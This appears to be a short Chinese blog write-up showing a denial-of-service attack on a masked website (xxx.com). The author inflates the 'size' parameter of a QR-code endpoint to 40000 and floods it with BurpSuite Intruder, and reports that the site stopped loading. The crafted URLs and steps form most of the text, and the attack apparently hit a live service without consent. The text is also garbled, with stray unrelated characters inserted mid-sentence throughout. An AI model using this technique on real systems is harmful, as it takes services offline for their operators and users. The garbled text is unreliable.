來看這個(gè)URL：
https://www.xxx.com/normal/download/qrcode?size=200&convert=https://www.xxx.com/download.html?app=gzim&from=singlemessage&isappinstalled=1
注意這個(gè)參數(shù)：size=200谐檀，可以看到下面服務(wù)器訪問速度是76ms革半，圖片是948B說明很快猿妈，那么我們把200改成10000
構(gòu)造URL：
https://www.xxx.com/normal/download/qrcode?size=10000&convert=https://wx.xxx.com/download.html?app=gzim&from=singlemessage&isappinstalled=1
改成10000的時(shí)候服務(wù)器響應(yīng)速度是1.55s娜睛，圖片字節(jié)是161KB了，那么我們繼續(xù)改率翅，改成38000
構(gòu)造URL:
https://www.xxx.com/normal/download/qrcode?size=38000&convert=https://wx.xxx.com/download.html?app=gzim&from=singlemessage&isappinstalled=1
這時(shí)候響應(yīng)速度是15.90s，圖片字節(jié)變成了1.6MB!說明驗(yàn)證碼大小可控！
接著打開BurpSuite抓包：訪問40000
構(gòu)造URL：
https://www.xxx.com/normal/download/qrcode?size=40000&convert=https://wx.xxx.com/download.html?app=gzim&from=singlemessage&isappinstalled=1
接著吧數(shù)據(jù)包發(fā)送到Intruder：（爆破40000后四位的參數(shù)谋减，讓BurpSuite訪問）
最后訪問它的域名：
https://www.xxx.com/
我這邊網(wǎng)站一直在加載中！打不開扫沼！具體我沒敢吧參數(shù)調(diào)大出爹，怕吧網(wǎng)站整蹦了影響他們的業(yè)務(wù)….
By:Power_Liu
Qq:211124332
最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
